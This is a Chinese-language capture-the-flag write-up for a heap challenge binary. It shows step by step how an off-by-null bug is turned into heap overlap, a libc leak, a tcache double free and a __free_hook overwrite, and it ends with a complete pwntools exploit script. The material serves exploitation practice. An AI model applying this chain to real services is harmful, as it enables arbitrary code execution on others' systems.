静态分析
先看保护

很好,保护全开

这里的部分函数我进行了重命名,方便阅读

这里有个strcpy这个函数会在赋值后自动给字符串末尾加上\x00.这里存在一个off-by-null漏洞
同时这里free函数有个可恶的污染,会把你的free掉后的数据全部填充为\xda

因此我们再后面的进行堆重叠是要先利用上面的off-by-null漏洞把prev_size位置清空出来
总结一下这个题目的思路,首先创造四个堆快 分别大 小 大 小
前三个用来进行堆重叠,在通过大堆快的unsortbin实现泄露libc后,通过free函数时伪造一个prev_size导致合并过度的堆块地址,导致有一个被回收的地址,但是函数逻辑中没有被回收,从而实现double free从而把改写free_hook为libc
动态分析
我们先创建4个chunk,并且按顺序free0 1
1 2 3 4 5 6 7
| add(0x410,b'a') add(0x68,b'b') add(0x4f0,b'c') add(0x30,b'd')
free(0) free(1)
|
我们在这里看一下堆里面的情况

细看一下我们申请的第二个堆快(也就是0x5578b988b670)

重复利用off-by-null,填入假prev_size
1 2 3 4
| for i in range(9): add(0x68 - i,b's'*(0x68-i)) free(0) add(0x68,b'a'*0x60+p64(0x490))
|

可以看到已经实现
free第二个堆快,实现堆快之间的合并
1 2 3
| free(2)
add(0x410,b'a'*1)
|

可以看到这里已经实现
这时,我们注意申请堆快的返回地址处

这里有三个返回地址,而我们只能看到两个返回地址了,这是因为我们在合并堆快的时候”吃”掉了一个堆,但是返回地址没有置零
并且因为堆快的合并,fd bk指针被移动到前面那个堆块处,而这个堆快我们刚好可以直接控制
打印我们布置好的堆快,获得libc,并计算一系列地址
1 2 3 4 5 6 7 8 9
| show(0)
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
log.info("libc="+hex(leak))
shell=leak+0x4f322 free_hook=leak+libc.sym["__free_hook"]
|
再次申请一个可以放入tcache的chunk,让存申请的堆快的返回地址处出现两个一样的地址

依次释放0 2,就可以进行对free函数的改写了,最后调用free获得布置好的one_gadget
1 2 3 4 5 6 7
| free(2) free(0) add(0x80,p64(free_hook)) add(0x80,b'aaaa') add(0x80,p64(shell))
free(0)
|
getshell!!!

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| from pwn import * context(log_level='debug') p=process("./pwn")
elf=ELF("./pwn")
libc=ELF('libc-2.27.so') def debug(): gdb.attach(p) pause() def add(size,data): p.sendlineafter(b'Your choice: ',str(1)) p.sendlineafter(b'Size:',str(size)) p.sendlineafter(b'Data',data) def show(idx): p.sendlineafter(b'Your choice: ',b'2') p.sendlineafter(b'Index:',str(idx)) def free(idx): p.sendlineafter(b'Your choice: ',b'3') p.sendlineafter(b'Index:',str(idx))
add(0x410,b'a') add(0x68,b'b') add(0x4f0,b'c') add(0x30,b'd')
free(0) free(1)
for i in range(9): add(0x68 - i,b's'*(0x68-i)) free(0)
add(0x68,b'a'*0x60+p64(0x490)) free(2)
add(0x410,b'a'*1)
show(0)
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
log.info("libc="+hex(leak))
shell=leak+0x4f322 free_hook=leak+libc.sym["__free_hook"]
debug() add(0x80,b'a')
free(2) free(0) add(0x80,p64(free_hook)) add(0x80,b'aaaa') add(0x80,p64(shell))
free(0)
p.interactive()
|